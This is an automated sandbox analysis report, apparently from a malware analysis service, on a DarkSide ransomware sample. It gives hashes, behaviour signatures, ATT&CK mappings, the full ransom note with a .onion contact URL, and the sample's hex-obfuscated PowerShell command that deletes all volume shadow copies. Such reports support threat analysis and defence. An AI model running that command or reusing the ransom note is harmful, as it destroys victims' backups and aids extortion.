Overview

overview

10

Static

static

8

DarkSide_0...in.exe

windows7_x64

10

DarkSide_0...in.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    92s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    04-08-2021 17:53

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    DarkSide_01_05_2021_30KB.bin.exe

  • Size

    30KB

  • MD5

    f00aded4c16c0e8c3b5adfc23d19c609

  • SHA1

    86ca4973a98072c32db97c9433c16d405e4154ac

  • SHA256

    4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a

  • SHA512

    a2697c2b008af3c51db771ba130590e40de2b0c7ad6f18b5ba284edffdc7a38623b56bc24939bd3867a55a7d263b236e02d1f0d718a5d3625402f2325cbfbedf

Score
10/10
darksideransomwarespywarestealer

Malware Config

Extracted

Path

C:\\README.341d6443.TXT

Family

darkside

Ransom Note
----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3 When you open our website, put the following data in the input form: Key: 5l5BZPnhuDEYAVqJR4MgValoWwML2OjDOtYwubDXeXGefcJDd4otfGdb9pJPrHW7Rt0XqdwabTWl9I5xhiHBsW6mg5BoqR4M2LZ0TI1hN4ifY7RVgRakjxxhhyImncWtgNb8LWtJlhn6cwtDLlsIjq0wAn8s7YsdzgTPPreHXEyFiFH1ozVIpZXV1mO5QXMZu16DNkFcXVIfdw5gPeSYjd3VAa7VlIH8IXgwCuza7YprCeDIOmvRqYK1jBH4s4nn0VyEHnWRndP7jNNUmat6FMhNzeKnLYGbMDRwmZR6iFdFX0Y3lhEWenDamVRchRSE5YwiL9LqTfkrnrswflssAB0SOcodZXRxG5HNItcitj3Za1NzC5fmBpdKN4jV01hMBG98ZEN8HMKeOdVxKtbAZP86K9IfBy8QcNrWLQ2hAeup6DD6KsG8R0Jj8czKTu4MDlGaxQMtPSycA0B6IzpPVV0Tbn9yWIIFH6y4mir71zDWbcPH3p5Hnr80gTnOFHXGzkGfrdy1bjn5H99zniLFFjchV8EEPMtgG2PwKF7NVQ9dTdlMBHWQpGc !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

    ransomwaredarkside
  • Modifies extensions of user files 9 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
    ransomware
  • Modifies Control Panel 1 IoCs
    evasion
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\DarkSide_01_05_2021_30KB.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\DarkSide_01_05_2021_30KB.bin.exe"
    1⤵
    • Modifies extensions of user files
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1672
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:920
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1380

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1
T1112

Credential Access

Credentials in Files

1
T1081

Discovery

Lateral Movement

Collection

Data from Local System

1
T1005

Exfiltration

Command and Control

Impact

Defacement

1
T1491

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
    MD5

    48173a69ecf563f9f45ec1d0b0118d4c

    SHA1

    35798fa65921edbda76453bfd36cb1bde284e265

    SHA256

    40b798d4b40ae86c0020020dd323f5bb1985fa0ae31696a1a542557163e2bf66

    SHA512

    a92d4eaeae6dde844a32d4cb728e9cf5e92d9031d81bc57b2e53ff36fd31f8cc039ad747b81361be07e09a4747506875e7cee32d8f9069cf740babef92513a6c

    Download Submit
  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    MD5

    79479fcdb8b9c7247e4bac2e3b157c22

    SHA1

    bb080d42a8f0f02391a747672448c580228c209c

    SHA256

    cb8b170173590af90821110deb22cba03fdd1b8f2d68bbd6eb627093b59e5ca3

    SHA512

    d9d340d9819a7961d3fab47d5df3089e1bd5473775caee2f28c22fdbac0450543357674aa7ed7f2e8650b371a2d3ed79e702e46c8099cc42cffe4e9f457b4df5

    Download Submit
  • memory/920-67-0x0000000002474000-0x0000000002476000-memory.dmp
    Filesize

    8KB

    Download
  • memory/920-64-0x000000001AA70000-0x000000001AA71000-memory.dmp
    Filesize

    4KB

    Download
  • memory/920-63-0x0000000002700000-0x0000000002701000-memory.dmp
    Filesize

    4KB

    Download
  • memory/920-65-0x0000000001E90000-0x0000000001E91000-memory.dmp
    Filesize

    4KB

    Download
  • memory/920-66-0x0000000002470000-0x0000000002472000-memory.dmp
    Filesize

    8KB

    Download
  • memory/920-68-0x0000000001DC0000-0x0000000001DC1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/920-69-0x000000001C500000-0x000000001C501000-memory.dmp
    Filesize

    4KB

    Download
  • memory/920-70-0x000000001C1F0000-0x000000001C1F1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/920-62-0x000007FEFBE41000-0x000007FEFBE43000-memory.dmp
    Filesize

    8KB

    Download
  • memory/920-61-0x0000000000000000-mapping.dmp
    Download
  • memory/1672-60-0x0000000075971000-0x0000000075973000-memory.dmp
    Filesize

    8KB

    Download